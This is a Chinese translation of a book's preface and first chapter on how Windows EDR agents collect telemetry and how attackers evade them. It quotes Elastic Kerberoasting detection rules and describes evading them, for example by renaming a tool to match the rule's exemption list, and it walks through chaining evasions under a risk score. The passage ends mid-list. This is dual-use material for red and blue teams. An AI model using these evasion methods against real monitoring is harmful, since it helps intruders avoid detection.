EDR-绕过指南-全-
EDR 绕过指南(全)
原文:
zh.annas-archive.org/md5/a5ec238e2953e3a36909ad1a48c4482f译者:飞龙
前言

今天,我们已接受网络妥协是不可避免的现实。我们的安全格局已将焦点转向尽早发现已被妥协主机上的对手活动,并以精确度来进行有效响应。如果你从事安全工作,你几乎肯定接触过某种类型的端点安全产品,无论是传统的防病毒软件、数据丢失防护软件、用户活动监控,还是本书所讨论的端点检测与响应(EDR)。每种产品都有其独特的目的,但如今没有一种产品比 EDR 更为普遍。
EDR 代理 是一组软件组件,用于创建、获取、处理并传输有关系统活动的数据到一个中央节点,中央节点的任务是确定行为者的意图(例如判断其行为是恶意的还是良性的)。EDR 涉及现代安全组织的几乎所有方面。安全运营中心(SOC)分析师从他们的 EDR 收到警报,EDR 使用由检测工程师创建的检测策略。其他工程师则负责维护和部署这些代理和服务器。甚至有一些公司专门通过管理客户的 EDR 来盈利。
是时候停止将 EDR 当作神秘的黑盒来看待了,这些黑盒吸入“东西”并输出警报。通过本书,攻防安全从业者都可以深入理解 EDR 的工作原理,从而识别目标环境中已部署产品的覆盖漏洞,构建更强大的工具,评估他们在目标上执行的每个操作的风险,并更好地建议客户如何弥补这些漏洞。
本书适合谁阅读
本书适合任何有兴趣理解端点检测的读者。在攻防两方面,它都能提供帮助。对于进攻方,它可以指导研究人员、能力开发人员和红队操作员,他们可以利用本书中讨论的 EDR 内部原理和规避策略来制定自己的攻击策略。对于防守方,相同的信息则有不同的用途。理解你的 EDR 如何工作,将帮助你在调查警报、构建新的检测、理解盲点以及购买产品时做出明智的决策。
也就是说,如果你在寻找一种逐步指导如何规避你特定操作环境中部署的 EDR 的方法,本书不适合你。虽然我们讨论了与大多数端点安全代理使用的广泛技术相关的规避方法,但我们是以与供应商无关的方式进行讨论的。所有 EDR 代理通常处理相似的数据,因为操作系统标准化了其数据收集方法。这意味着我们可以将注意力集中在这一共同核心上:用于构建检测的那些信息。理解这些信息可以帮助我们澄清供应商为何做出某些设计决策。
最后,本书专门针对 Windows 操作系统。虽然你会越来越多地发现专门为 Linux 和 macOS 开发的 EDR,但它们仍然无法与 Windows 代理所占的市场份额相提并论。由于我们在攻击或防御网络时更有可能遇到部署在 Windows 上的 EDR,因此我们将专注于深入了解这些代理的工作原理。
本书内容
每一章都涵盖了特定的 EDR 传感器或用于收集某种数据的组件。我们首先介绍开发者常用的组件实现方式,然后讨论它收集的数据类型。最后,我们回顾了常见的规避技术及其为何有效。
第一章: EDR 架构 介绍了 EDR 代理的设计、各种组件及其一般功能。
第二章: 函数钩子 DLL 讨论了 EDR 如何拦截用户模式函数的调用,以便监视可能表明系统中存在恶意软件的调用。
第三章: 进程和线程创建通知 通过介绍 EDR 用于监控系统中进程创建和线程创建事件的主要技术,并讨论操作系统可以为代理提供的大量数据,开启了我们进入内核的旅程。
第四章: 对象通知 通过讨论 EDR 如何在请求进程句柄时接收到通知,继续深入探讨内核模式驱动程序。
第五章: 图像加载和注册表通知 通过讲解 EDR 如何监控 DLL 等文件加载到进程中,并如何利用这些通知将函数钩子 DLL 注入到新进程中,结束了内核模式部分的讨论。本章还讨论了与注册表交互时生成的遥测数据,以及如何利用这些数据检测攻击者的活动。
第六章: 文件系统迷你过滤驱动程序 提供了关于 EDR 如何监控文件系统操作(如新文件创建)的见解,以及它如何利用这些信息检测试图隐藏其存在的恶意软件。
第七章: 网络过滤驱动程序 讨论了 EDR 如何使用 Windows 过滤平台(WFP)监控主机上的网络流量,并检测诸如命令与控制信标等活动。
第八章: Windows 事件追踪 深入探讨了 Windows 本地的强大用户模式日志技术,EDR 可以利用它从操作系统的各个角落消费事件,这些地方通常很难访问。
第九章:扫描器 讨论了 EDR 组件,负责判断某些内容是否包含恶意软件,无论是一个写入磁盘的文件,还是一段虚拟内存。
第十章:反恶意软件扫描接口 介绍了一种 Microsoft 集成到许多脚本语言、编程语言和应用程序中的扫描技术,用于检测旧版扫描器无法检测的问题。
第十一章:早期启动反恶意软件驱动程序 讨论了 EDR 如何部署一种特殊类型的驱动程序,以便检测在启动过程中早期运行的恶意软件,可能在 EDR 启动之前就已经运行。
第十二章:Microsoft-Windows-Threat-Intelligence 在前一章的基础上,讨论了部署 ELAM 驱动程序的一个最有价值的原因:获得 Microsoft-Windows-Threat-Intelligence ETW 提供程序的访问权限,该提供程序能够检测其他提供程序无法发现的问题。
第十三章:案例研究:一个检测意识攻击 通过走查一个模拟的红队操作,将前几章获得的信息付诸实践,红队的主要目标是保持不被检测到。
附录:辅助资源 讨论了一些小众传感器,虽然我们不常看到它们被部署,但它们仍然能为 EDR 带来巨大的价值。
先决知识
这是一本深度技术性的书籍,为了最大程度地从中获益,我强烈建议你熟悉以下概念。首先,了解基本的渗透测试技巧将帮助你更好地理解 EDR 为什么会尝试检测系统上的特定操作。许多资源可以教授你这些信息,但一些免费的资源包括 Bad Sector Labs 的《安全周报》博客系列,Mantvydas Baranauskas 的博客 红队笔记,以及 SpecterOps 博客。
我们将花费相当多的时间深入探讨 Windows 操作系统的细节。因此,你可能会觉得了解 Windows 内部结构和 Win32 API 的基础知识是值得的。探讨本书中所涵盖概念的最佳资源是《Windows 内部结构:系统架构、进程、线程、内存管理与更多,第一部分》(第 7 版),由 Pavel Yosifovich、Alex Ionescu、Mark E. Russinovich 和 David A. Solomon 编写(微软出版社,2017 年),以及微软的 Win32 API 文档,你可以在https://
因为我们会深入分析源代码和调试器输出,你可能也需要了解 C 编程语言和 x86 汇编语言。不过,这并不是必需的,因为我们会逐步讲解每个代码示例,重点突出关键内容。如果你有兴趣深入了解这些主题,可以找到很多优秀的在线和印刷资源,例如https://www.learn-c.org 和 Randall Hyde 编写的《64 位汇编语言艺术》第 1 卷(No Starch Press,2021)。
对工具如WinDbg(Windows 调试器)、Ghidra(反汇编器和反编译器)、PowerShell(脚本语言)以及SysInternals Suite(特别是工具 Process Monitor 和 Process Explorer)有一定经验将对你有所帮助。虽然我们在书中会演示如何使用这些工具,但有时它们可能比较复杂。如果你想快速了解这些工具的使用,可以参考微软的《Windows 调试入门》系列文章、Chris Eagle 和 Kara Nance 编写的《Ghidra 书》(No Starch Press,2020)、微软的《PowerShell 脚本入门》课程,以及 Mark E. Russinovich 和 Aaron Margosis 编写的《使用 Windows Sysinternals 工具进行故障排除》第 2 版(Microsoft Press,2016)。
设置
如果你想测试本书中讨论的技术,可能需要配置一个实验室环境。我推荐以下由两台虚拟机组成的设置:
-
一台运行 Windows 10 或更高版本的虚拟机,并安装以下软件:Visual Studio 2019 或更高版本(配置为桌面 C++开发环境)、Windows 驱动程序开发工具包(WDK)、WinDbg(可在微软商店获取)、Ghidra 以及 SysInternals Suite。
-
一台运行任何操作系统或发行版的虚拟机,可用作命令和控制服务器。你可以使用 Cobalt Strike、Mythic、Covenant 或任何其他命令和控制框架,只要它能够生成代理 shellcode 并在目标系统上执行工具。
理想情况下,你应该禁用两个系统上的防病毒软件和 EDR,以防它们干扰你的测试。此外,如果你计划使用真实的恶意软件样本,建议创建一个沙箱环境,以减少运行样本时可能出现的任何不良影响。
第一章:1 EDR 架构

几乎每个对手,无论是恶意行为者还是商业红队的一部分,有时都会遇到妨碍其操作的防御产品。在这些防御产品中,端点检测与响应(EDR)对攻击的后期利用阶段构成了最大的风险。一般来说,EDR是安装在目标工作站或服务器上的应用程序,旨在收集有关环境安全的数据,这些数据被称为遥测。
在本章中,我们讨论了 EDR 的组成部分、它们检测系统中恶意活动的方法以及它们的典型设计。我们还提供了 EDR 可能给攻击者带来的困难的概述。
EDR 的组成部分
后续章节将探讨许多 EDR 传感器组件的具体细节,它们如何工作,以及攻击者如何规避它们。不过,首先,我们将整体考虑 EDR 并定义一些你在本书中经常看到的术语。
代理
EDR 代理是一个应用程序,它控制并消耗来自传感器组件的数据,进行一些基本分析以确定某个活动或一系列事件是否与攻击者行为一致,并将遥测数据转发到主服务器,后者进一步分析环境中所有代理收集的事件。
如果代理认为某些活动值得关注,它可能会采取以下任何操作:记录该恶意活动,并以警报的形式发送到中央日志系统,如 EDR 的仪表板或安全事件与信息管理(SIEM)解决方案;阻止恶意操作的执行,通过返回表示失败的值给正在执行该操作的程序;或欺骗攻击者,返回无效值,例如错误的内存地址或修改过的访问掩码,导致攻击工具相信操作已经成功完成,即使随后的操作会失败。
遥测
每个 EDR 传感器都服务于一个共同的目的:收集遥测数据。大致定义,遥测是由传感器组件或主机本身生成的原始数据,防御者可以分析这些数据来确定是否发生了恶意活动。系统上的每个操作,从打开文件到创建新进程,都会生成某种形式的遥测数据。这些信息成为安全产品内部警报逻辑中的数据点。
图 1-1 将遥测数据与雷达系统收集的数据进行比较。雷达使用电磁波来检测一定范围内物体的存在、方向和速度。
当无线电波从物体上反射并返回雷达系统时,它会创建一个数据点,表示那里有东西。通过这些数据点,雷达系统的处理器可以确定诸如物体的速度、位置和高度等信息,并据此处理每个情况。例如,系统可能需要根据物体飞行的速度和高度来不同地响应:飞行在较低高度、速度较慢的物体与飞行在较高高度、速度较快的物体可能需要不同的响应。
这与 EDR 处理其传感器收集的遥测数据非常相似。仅凭关于一个进程是如何创建的或文件是如何被访问的信息,通常无法提供足够的上下文来做出有关采取何种措施的明智决策。它们就像雷达屏幕上的瞬间闪光点。此外,EDR 检测到的进程可以在任何时刻终止。因此,传递给 EDR 的遥测数据必须尽可能完整。

图 1-1:将安全事件可视化为雷达闪光点
然后,EDR 将数据传递给其检测逻辑。该检测逻辑会利用所有可用的遥测数据,采用某些内部方法,如环境启发式算法或静态签名库,尝试判断该活动是良性还是恶意,以及该活动是否达到了记录或防止的阈值。
传感器
如果遥测数据代表雷达上的闪光点,那么 传感器 就是发射器、双工器和接收器:这些组件负责探测物体并将其转化为闪光点。与雷达系统不断发射信号以跟踪物体的运动不同,EDR 传感器通过拦截流经内部进程的数据,提取信息并将其转发给中央代理,工作方式相对较为被动。
因为这些传感器通常需要与某些系统进程并行工作,所以它们必须非常快速。假设一个监控注册表查询的传感器在允许注册表操作继续之前,需要花费 5 毫秒来完成工作。直到你考虑到某些系统每秒可能发生数千个注册表查询时,这个问题才显得重要。对 1,000 个事件应用 5 毫秒的处理延迟,会导致系统操作出现 5 秒的延迟。大多数用户会觉得这是无法接受的,这将使客户远离使用 EDR。
尽管 Windows 提供了众多遥测数据源,但 EDR 通常只关注少数几个数据源。这是因为某些数据源可能缺乏数据质量或数量,可能与主机安全性无关,或可能不容易访问。一些传感器是内置于操作系统中的,例如本地事件日志。EDR 也可能会向系统引入其自有的传感器组件,如驱动程序、函数挂钩 DLL 和微过滤器,我们将在后续章节中讨论。
我们这些在进攻方的人通常关心的是如何防止、限制或规范化(即与其他流量融合)传感器收集到的遥测数据流。这个策略的目标是减少产品可以用来生成高保真警报的数据显示点数量,或者防止我们的操作被执行。本质上,我们在试图制造一个假阴性。通过了解 EDR 的每个传感器组件及其可以收集的遥测数据,我们可以在特定情况下做出关于使用何种手段的明智决策,并制定由数据支持的强大规避策略,而不是依赖轶事证据。
检测
简而言之,检测是将离散的遥测数据与系统上执行的某些行为关联起来的逻辑。一个检测可以检查单一条件(例如,文件的哈希值与已知恶意软件匹配),或者检查来自多个不同来源的复杂事件序列(例如,chrome.exe的子进程被启动,并随后通过 TCP 端口 88 与域控制器通信)。
通常,检测工程师根据可用的传感器编写这些规则。一些检测工程师为 EDR 供应商工作,因此必须仔细考虑规模问题,因为检测可能会影响大量组织。另一方面,工作在组织内部的检测工程师可以编写规则,扩展 EDR 的能力,超出供应商提供的功能,从而根据环境的需要量身定制检测。
EDR 的检测逻辑通常存在于代理程序及其附属传感器中,或者存在于后端收集系统中(所有企业中的代理程序都向该系统报告)。有时它们会出现在两者的某种组合中。每种方法都有其优缺点。在代理程序或其传感器中实现的检测可以让 EDR 立即采取预防措施,但不能提供分析复杂情况的能力。相反,在后端收集系统中实现的检测可以支持大量的检测规则,但会导致采取任何预防措施时出现延迟。
EDR 规避的挑战
许多对手依赖于通过轶事或公开的概念验证中描述的绕过方法,来避免目标系统的检测。这种方法可能由于多种原因而存在问题。
首先,这些公共绕过方式只有在 EDR 的功能在不同时间和不同组织中保持一致时才有效。对于内部红队来说,这不是一个大问题,因为它们很可能会在整个环境中遇到相同的产品。然而,对于顾问和恶意威胁行为者来说,EDR 产品的演变则带来了重大头痛,因为每个环境的软件都有自己的配置、启发式规则和警报逻辑。例如,在某个组织中,如果 PsExec(Windows 远程管理工具)的使用很常见,EDR 可能不会对 PsExec 的执行进行严格审查。但另一个组织可能很少使用该工具,因此其执行可能表明恶意活动。
其次,这些公共规避工具、博客文章和论文经常宽松地使用绕过一词。在许多情况下,作者并未确定 EDR 仅仅允许某个操作发生,还是根本没有检测到它。有时候,EDR 并不会自动阻止一个操作,而是触发需要人工干预的警报,从而引入响应延迟。(试想一下,如果警报是在星期六凌晨 3 点触发的,攻击者就可以继续在环境中移动。)大多数攻击者希望完全避免被检测,因为一旦 EDR 检测到恶意活动,成熟的安全运营中心(SOC)可以高效地追踪到恶意活动的源头。这对攻击者的任务来说可能是灾难性的。
第三,披露新技术的研究人员通常不会透露他们测试的产品,原因有很多。例如,他们可能与客户签署了保密协议,或者担心受到受影响厂商的法律威胁。因此,这些研究人员可能认为某些技术可以绕过所有 EDR,而不仅仅是特定产品和配置。例如,一种技术可能会绕过某一产品中的用户模式函数挂钩,因为该产品恰好没有监控目标函数,但另一种产品可能实现了一个钩子,能够检测到恶意的 API 调用。
最后,研究人员可能不会明确说明他们的技术绕过了 EDR 的哪个组件。现代 EDR 是复杂的软件,拥有多个传感器组件,每个组件都可以以不同的方式被绕过。例如,EDR 可能通过从内核模式驱动程序、Windows 事件跟踪(ETW)、函数钩子以及其他多个来源获取数据来跟踪可疑的父子进程关系。如果一种规避技术针对的是依赖 ETW 收集数据的 EDR 代理,那么它可能无法在使用驱动程序执行相同目的的产品上起作用。
因此,要有效地绕过 EDR,攻击者需要对这些工具的工作原理有详细的了解。本章的其余部分将深入探讨这些工具的组成部分和结构。
识别恶意活动
为了建立有效的检测系统,工程师必须了解的不仅仅是最新的攻击者战术;他们还必须了解业务的运作方式以及攻击者的目标是什么。接下来,他们必须从 EDR 传感器收集的独特且可能不相关的数据点中,识别出可能指示系统上发生恶意行为的活动簇。这远比说起来容易做起来难。
例如,创建一个新服务是否意味着对手已在系统上持久性地安装了恶意软件?可能是,但更可能的是用户因正当理由安装了新软件。如果该服务是在凌晨 3 点安装的呢?虽然可疑,但也许用户正在通宵达旦处理一个大项目。如果是 rundll32.exe,即执行 DLL 的 Windows 原生应用程序,负责安装该服务呢?你可能本能地会说:“哈!我们抓到你了!”但这个功能也可能是合法的、实现不佳的安装程序的一部分。从行为中推断意图可能非常困难。
考虑上下文
做出明智决策的最佳方法是考虑相关行为的上下文。将其与用户和环境规范、已知的对手手法和工具、以及受影响用户在某段时间内执行的其他操作进行对比。表 1-1 提供了一个例子,展示了这如何起作用。
表 1-1: 评估系统中的一系列事件
| 事件 | 上下文 | 判断 |
|---|---|---|
| 2:55 AM:应用程序 chatapp.exe 在上下文中启动 CONTOSO\jdoe。 | 用户 JDOE 经常进行国际旅行,并且在非工作时间与其他地区的业务伙伴开会。 | 良性 |
| 2:55 AM: 应用程序 chatapp.exe 加载了一个未签名的 DLL, usp10.dll,来自 %APPDATA% 目录。 | 这个聊天应用程序在默认配置下并不加载未签名的代码,但组织中的用户被允许安装可能改变应用程序启动时行为的第三方插件。 | 轻微可疑 |
| 2:56 AM: 应用程序 chatapp.exe 通过 TCP 端口 443 连接到互联网。 | 该聊天应用程序的服务器由云服务提供商托管,因此它定期从服务器获取信息。 | 无害 |
| 2:59 AM: 应用程序 chatapp.exe 查询了注册表值 HKLM:\System\CurrentControlSet\Control\LSA\LsaCfgFlags。 | 该聊天应用程序定期从注册表中提取系统和应用程序配置的信息,但并未被知晓访问与凭证保护相关的注册表项。 | 高度可疑 |
| 3 AM: 应用程序 chatapp.exe 打开一个指向 lsass.exe 的句柄,具有 PROCESS _VM_READ 访问权限。 | 该聊天应用程序并未访问其他进程的地址空间,但用户 JDOE 确实拥有所需的权限。 | 恶意 |
这个精心设计的例子展示了基于系统上采取的行为来判断意图时的模糊性。请记住,系统上的绝大多数活动都是无害的,前提是没有发生什么严重的事情。工程师必须根据客户能够容忍的误报率来确定 EDR 检测的敏感性(换句话说,检测应该偏向于判断某些东西是恶意的程度)。
一种让产品满足客户需求的方法是通过结合使用所谓的脆弱检测和稳健检测。
应用脆弱与稳健检测
脆弱检测是指那些设计用来检测特定工件的检测,例如通常与已知恶意软件相关的简单字符串或基于哈希的特征。稳健检测旨在检测行为,并且可能会基于针对环境训练的机器学习模型。两种检测类型在现代扫描引擎中都有其作用,它们有助于平衡误报和漏报。
例如,基于恶意文件哈希的检测能够非常有效地检测该特定版本的文件,但文件的任何细微变化都会改变其哈希值,导致检测规则失败。这就是为什么我们称这种规则为“脆弱”的原因。它们非常具体,通常只针对单一的工件。这意味着误报的可能性几乎为零,而漏报的可能性却非常高。
尽管这些检测存在缺陷,但它们为安全团队提供了独特的好处。它们易于开发和维护,因此工程师可以在组织需求变化时快速调整。它们还能够有效检测一些常见的攻击。例如,一个用于检测未经修改的 Mimikatz 利用工具的规则价值巨大,因为它的误报率几乎为零,而该工具被恶意使用的可能性很高。
尽管如此,检测工程师在创建脆弱检测规则时,必须仔细考虑使用哪些数据。如果攻击者可以轻松修改指标,那么检测就变得更容易被绕过。例如,假设一个检测规则检查文件名 mimikatz.exe;攻击者可以简单地将文件名更改为 mimidogz.exe,从而绕过检测逻辑。正因如此,最佳的脆弱检测规则应当针对那些不可变或至少难以修改的属性。
从另一个角度看,受机器学习模型支持的强大规则集可能会将修改后的文件标记为可疑,因为它对环境来说是独特的,或包含某些分类算法高度加权的属性。大多数强大的检测规则实际上是一些更广泛的规则,旨在更普遍地针对某一技术。这些类型的检测通过增加假阳性率,减少假阴性的可能性,来交换它们的特定性,以更一般的方式检测攻击。
尽管业界倾向于青睐强大的检测规则,但它们也有自身的缺点。与脆弱的签名相比,这些规则由于其复杂性,开发起来可能更加困难。此外,检测工程师必须考虑组织的假阳性容忍度。如果检测的假阴性率非常低,但假阳性率较高,EDR 就会像“狼来了”的小男孩一样表现。如果他们在减少假阳性方面过于努力,也可能会增加假阴性的比例,使得攻击未被察觉。
因此,大多数 EDR(端点检测与响应)采用混合方法,使用脆弱的签名来捕获明显的威胁,并通过强大的检测规则更普遍地检测攻击者技术。
探索 Elastic 检测规则
唯一公开发布检测规则的 EDR 供应商之一是 Elastic,它在 GitHub 仓库中发布了其 SIEM 规则。让我们一窥幕后,这些规则提供了脆弱和强大检测的良好示例。
例如,考虑 Elastic 用于检测使用 Bifrost(一个用于与 Kerberos 交互的 macOS 工具)进行 Kerberoasting 尝试的规则,见 列表 1-1。Kerberoasting 是一种通过获取 Kerberos 票据并破解它们以揭示服务账户凭证的技术。
query = '''
event.category:process and event.type:start and
process.args:("-action" and ("-kerberoast" or askhash or asktgs or asktgt or s4u or ("-ticket"
and ptt) or (dump and (tickets or keytab))))
'''
列表 1-1:Elastic 检测 Kerberoasting 的规则,基于命令行参数
这个规则检查 Bifrost 支持的某些命令行参数的存在。攻击者可以通过重命名源代码中的参数(例如,将 -action 改为 -dothis)并重新编译工具,从而轻松绕过此检测。此外,如果某个无关的工具支持规则中列出的参数,也可能会出现假阳性。
出于这些原因,此规则可能看起来像是一个糟糕的检测。但请记住,并非所有对手都在同一水平上运作。许多威胁组继续使用现成的工具。此检测旨在捕获那些仅使用 Bifrost 的基本版本的人。
由于规则的狭窄焦点,Elastic 应该通过更为健壮的检测来补充它,以覆盖这些漏洞。幸运的是,供应商发布了一个补充规则,显示在 第 1-2 列表 中。
query = '''
network where event.type == "start" and network.direction == "outgoing" and
destination.port == 88 and source.port >= 49152 and
process.executable != "C:\\Windows\\System32\\lsass.exe" and destination.address !="127.0.0.1"
and destination.address !="::1" and
/* insert False Positives here */
not process.name in ("swi_fc.exe", "fsIPcam.exe", "IPCamera.exe", "MicrosoftEdgeCP.exe",
"MicrosoftEdge.exe", "iexplore.exe", "chrome.exe", "msedge.exe", "opera.exe", "firefox.exe")
'''
列表 1-2:Elastic 用于检测在 TCP 端口 88 上通信的非典型进程的规则
此规则针对于建立 TCP 端口 88 的出站连接的非典型进程。尽管此规则包含一些解决误报的漏洞,但通常比 Bifrost 的脆弱检测更为健壮。即使对手重新命名参数并重新编译工具,Kerberoasting 所固有的网络行为也会导致此规则触发。
为了躲避检测,对手可以利用规则底部包含的豁免列表,也许将 Bifrost 的名称更改为匹配其中一个文件,比如 opera.exe。如果对手还修改了工具的命令行参数,它们将能够避开这里介绍的脆弱和健壮的检测。
大多数 EDR 代理都努力在脆弱和健壮的检测之间取得平衡,但以不透明的方式进行,因此组织可能会发现确保覆盖范围非常困难,尤其是在不支持引入自定义规则的代理中。因此,团队的检测工程师应该使用 Red Canary 的 Atomic Test Harnesses 等工具来测试和验证检测。
代理设计
作为攻击者,我们应该密切关注部署在我们目标端点上的 EDR 代理,因为这是检测我们将用来完成操作的活动的组件。在本节中,我们将审查代理的各个部分以及它们可能做出的各种设计选择。
基本
代理包含独特的部分,每个部分都有自己的目标和能够收集的遥测类型。最常见的代理包括以下组件:
静态扫描器 一个应用程序或代理本身的组件,用于对图像进行静态分析,例如可执行文件 (PE) 或任意范围的虚拟内存,以确定内容是否恶意。静态扫描器通常是反病毒服务的核心。
挂钩 DLL 负责拦截特定应用程序编程接口 (API) 函数调用的 DLL。第二章 详细介绍了函数挂钩。
内核驱动程序 一个内核模式驱动程序,负责将钩子 DLL 注入目标进程并收集特定于内核的遥测数据。第三章到第七章将涵盖其各种检测技术。
代理服务 一个负责聚合前两个组件创建的遥测数据的应用程序。它有时会对数据进行关联或生成警报,然后将收集到的数据转发到集中式 EDR 服务器。
图 1-2 展示了商业产品今天使用的最基本的代理架构。

图 1-2:基本代理架构
如我们所见,这个基本设计没有太多的遥测数据来源。它的三个传感器(一个扫描器、一个驱动程序和一个功能钩子 DLL)为代理提供关于进程创建事件、被认为敏感的函数调用(如kernel32!CreateRemoteThread)、文件签名,以及可能属于进程的虚拟内存的数据。这对于某些用例可能足够,但如今大多数商业 EDR 产品远远超出了这些功能。例如,这个基本的 EDR 无法检测主机上文件的创建、删除或加密情况。
中级
虽然一个基本的代理可以收集大量有价值的数据来创建检测,但这些数据可能无法形成主机上活动的完整画面。通常,今天在企业环境中部署的端点安全产品已经大大扩展了它们的能力,以收集额外的遥测数据。
大多数攻击者遇到的代理都属于中级复杂度。这些代理不仅引入了新的传感器,还使用了操作系统原生的遥测数据源。在这一层级上常见的添加功能可能包括以下内容:
网络过滤驱动程序 执行网络流量分析的驱动程序,用于识别恶意活动的指示符,如信标通信。这将在第七章中讨论。
文件系统过滤驱动程序 一种特殊类型的驱动程序,可以监视主机文件系统上的操作。它们将在第六章中详细讨论。
ETW 消费者 代理的组件,能够订阅主机操作系统或第三方应用程序创建的事件。ETW 在第八章中进行讨论。
早期启动反恶意软件(ELAM)组件 提供一种微软支持的机制,用于在其他启动服务之前加载反恶意软件驱动程序,以控制其他启动驱动程序的初始化。这些组件还提供接收安全 ETW 事件的功能,ETW 事件是一种由一组受保护事件提供者生成的特殊事件。ELAM 驱动程序的这些功能在第十一章和第十二章中进行了详细讨论。
虽然现代 EDR 可能没有实现所有这些组件,但你通常会看到 ELAM 驱动程序与主内核驱动程序一起部署。图 1-3 展示了更现代的代理架构可能是什么样子。

图 1-3:中间代理架构
该设计在基本架构的基础上构建,并添加了许多新的传感器,通过这些传感器可以收集遥测数据。例如,这个 EDR 现在可以监控文件系统事件,如文件创建,使用 ETW 提供的数据源,收集该代理原本无法收集的数据,并通过其过滤驱动程序观察主机上的网络通信,潜在地使代理能够检测命令与控制信标活动。它还增加了一层冗余,以便在一个传感器失败时,另一个传感器可以接管任务。
高级
一些产品实现了更高级的功能,用于监控它们感兴趣的系统特定区域。以下是其中两个功能的示例:
虚拟机监控器(Hypervisors) 提供一种拦截系统调用、虚拟化某些系统组件以及沙箱化代码执行的方法。这些功能还为代理提供了一种监控来宾与主机之间执行转换的方式。它们通常作为反勒索软件和反利用功能的组件被利用。
对手欺骗 提供虚假数据给对手,而不是阻止恶意代码的执行。这可能导致对手专注于调试他们的工具,而没有意识到正在使用的数据已经被篡改。
由于这些通常是特定于产品的实现,并且在本文写作时并不常见,因此我们不会详细讨论这些高级功能。此外,本类别中的许多组件更贴近预防策略,而非检测,这使得它们稍微超出了本书的范围。然而,随着时间的推移,一些高级功能可能会变得更为常见,新的功能也可能会被发明。
绕过类型
在他 2021 年的博客文章《Evadere 分类》中,Jonathan Johnson 根据绕过发生的检测管道位置将绕过分为不同类型。使用 Jared Atkinson 提出的“忠实漏斗”概念,描述了检测和响应管道的各个阶段,Johnson 定义了绕过可能发生的区域。以下是我们将在后续章节中讨论的那些区域:
配置绕过 发生在端点上存在一个能够识别恶意活动的遥测源,但传感器未能从中收集数据,导致覆盖空白。例如,即使传感器能够收集与 Kerberos 认证活动相关的特定 ETW 提供程序的事件,它也可能未配置为这样做。
感知绕过 发生在传感器或代理缺乏收集相关遥测数据的能力时。例如,代理可能不会监控文件系统交互。
逻辑绕过 发生在攻击者利用检测逻辑中的漏洞时。例如,某个检测可能包含一个已知的漏洞,而其他检测并未覆盖该漏洞。
分类绕过 发生在传感器或代理无法识别足够的数据点以将攻击者的行为分类为恶意,即使它观察到了这些行为。例如,攻击者的流量可能与正常的网络流量混合。
配置绕过是最常见的技术之一。有时它们甚至是在不知情的情况下使用的,因为大多数成熟的 EDR 代理具备收集某些遥测数据的能力,但由于某些原因未能做到这一点,例如减少事件数量。感知绕过通常是最有价值的,因为如果数据不存在,并且没有补偿组件来弥补这一空白,那么 EDR 就无法检测到攻击者的活动。
逻辑绕过是最难实现的,因为它们通常需要对检测的基本逻辑有了解。最后,分类绕过需要一些前瞻性思维和系统剖析,但红队经常使用它们(例如,通过慢速 HTTPS 通道与一个信誉良好的网站进行信标通信,进行命令与控制活动)。当操作得当时,分类绕过能够达到感知绕过的效果,且所需的工作量远低于逻辑绕过。
在防御方面,这些分类使我们能够更具体地讨论检测策略中的盲点。例如,如果我们要求将事件从端点代理转发到中央收集服务器进行分析,那么我们的检测本身就容易受到配置规避的影响,因为攻击者可能会通过某种方式更改代理的配置,从而中断代理与服务器之间的通信通道。
感知规避是非常重要的,但通常最难被发现。如果我们的 EDR 根本没有能力收集所需的数据,那么我们只能找到其他方法来构建检测。逻辑规避是由于在构建检测规则时所做的决策所导致的。由于 SOC 中并非每位分析员都有无限的时间来审查警报,工程师总是寻求减少误报。但是,对于他们在规则中做出的每一个豁免,他们就可能引入逻辑规避的潜在风险。考虑一下 Elastic 之前提到的强大 Kerberoasting 规则,攻击者只需要简单地更改工具的名称即可规避此规则。
最后,分类规避可能是最难防范的。为此,工程师必须不断调整 EDR 的检测阈值,直到达到最佳设置。以命令与控制信标为例。假设我们通过假设攻击者会以每分钟超过一次的请求频率连接到一个未分类信誉的站点来构建检测策略。那么我们的对手可能如何避开雷达呢?他们可能通过一个已经建立的域名进行信标传输,或者将回调间隔减慢到每两分钟一次。
作为回应,我们可以将规则修改为查找系统以前没有连接过的域,或者增加信标间隔。但请记住,这样做可能会带来更多的误报风险。工程师们将继续在这种博弈中前行,努力优化他们的检测策略,以平衡组织的容忍度与对手的能力。
链接规避技术:一个示例攻击
通常,收集一条遥测数据有不止一种方式。例如,EDR 可以同时使用驱动程序和 ETW 消费者来监视进程创建事件。这意味着规避并非简单地找到“银弹”。相反,它是利用传感器中的空白点,避开 EDR 生成警报或采取预防措施的阈值的过程。
考虑表 1-2,它描述了一个专门设计用来捕捉命令与控制代理操作的分类系统。在这个例子中,任何在某个时间窗口内发生的、其累计分数大于或等于 500 的行为都会触发高严重度警报。分数超过 750 时,相关进程及其子进程将被终止。
表 1-2: 一个示例分类系统
| 活动 | 风险分数 |
|---|---|
| 执行未签名的二进制文件 | 250 |
| 非典型子进程已生成 | 400 |
| 非浏览器进程发起的外发 HTTP 流量 | 100 |
| 分配读写执行缓冲区 | 200 |
| 未由镜像支持的已提交内存分配 | 350 |
攻击者可以单独绕过每个活动,但当它们结合在一起时,规避变得更加困难。我们如何将规避技术链式结合,以避免触发检测逻辑?
从配置规避开始,假设代理缺少网络检查传感器,因此无法将外发网络流量与客户端进程关联。然而,可能存在补偿性控制,例如针对 Microsoft-Windows-WebIO 提供程序的 ETW 消费者。在这种情况下,我们可能会选择使用浏览器作为宿主进程,或者使用其他协议,如 DNS,进行命令与控制。我们也可以使用逻辑规避,通过匹配系统上的典型父子关系来规避“非典型子进程”检测。对于感知规避,假设代理缺乏扫描内存分配的能力,无法判断这些分配是否由镜像支持。作为攻击者,我们完全不需要担心根据此指标被检测到。
让我们将这些内容结合起来,描述攻击可能的进展。首先,我们可以利用电子邮件客户端在该进程上下文中实现代码执行。由于这个邮件客户端二进制文件是系统在遭到破坏之前就存在的合法产品,因此我们可以合理假设它是已签名的,或者具有签名豁免。我们将通过 HTTP 发送和接收命令与控制流量,这会触发检测,即非浏览器进程通过 HTTP 进行通信,将当前风险评分提高到 100。
接下来,我们需要在某个时刻生成一个牺牲进程来执行我们的后期利用操作。我们的工具是用 PowerShell 编写的,但我们并不是生成 powershell.exe,因为那样会显得不典型并触发警报,将风险评分提高到 500。相反,我们生成一个新的邮件客户端实例作为子进程,并使用非托管 PowerShell 在其中执行我们的工具。我们的代理在子进程中分配了一个读写执行缓冲区,这将使风险评分提高到 300。
我们收到工具的输出,并确定需要运行另一个工具来执行某些操作以进一步扩大我们的访问权限。此时,任何额外的检测都将把我们的风险评分提高到 500 或更高,可能会导致操作失败,因此我们需要做出一些决策。以下是几种选择:
-
